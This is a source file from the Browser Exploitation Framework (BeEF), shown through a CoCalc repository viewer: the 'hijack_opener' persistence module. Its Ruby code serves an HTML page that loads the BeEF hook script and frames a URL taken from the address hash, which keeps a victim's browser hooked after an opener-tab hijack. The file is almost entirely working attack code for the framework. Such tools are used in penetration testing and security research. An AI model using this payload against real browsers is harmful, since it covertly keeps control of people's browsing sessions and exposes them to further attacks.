Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/persistence/hijack_opener/module.rb
1154 views
1
#
2
# Copyright (c) 2006-2025 Wade Alcorn - [email protected]
3
# Browser Exploitation Framework (BeEF) - https://beefproject.com
4
# See the file 'doc/COPYING' for copying permission
5
#
6
class Hijack_opener < BeEF::Core::Command
7
def pre_send
8
config = BeEF::Core::Configuration.instance
9
hook_file = config.get('beef.http.hook_file')
10
11
src = '<html><head><title></title><style>body {padding:0;margin:0;border:0}</style></head>'
12
src << "<body><iframe id='iframe' style='width:100%;height:100%;margin:0;padding:0;border:0'></iframe>"
13
src << "<script src='#{hook_file}'></script>"
14
src << '<script>var url = window.location.hash.slice(1);'
15
src << 'if (url.match(/^https?:\/\//)) {'
16
src << 'document.title = url;'
17
src << 'document.getElementById("iframe").src = url;'
18
src << '}</script></body></html>'
19
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind_raw(
20
'200',
21
{ 'Content-Type' => 'text/html' },
22
src,
23
'/iframe',
24
-1
25
)
26
end
27
28
def post_execute
29
save({ 'result' => @datastore['result'] })
30
end
31
end
32
33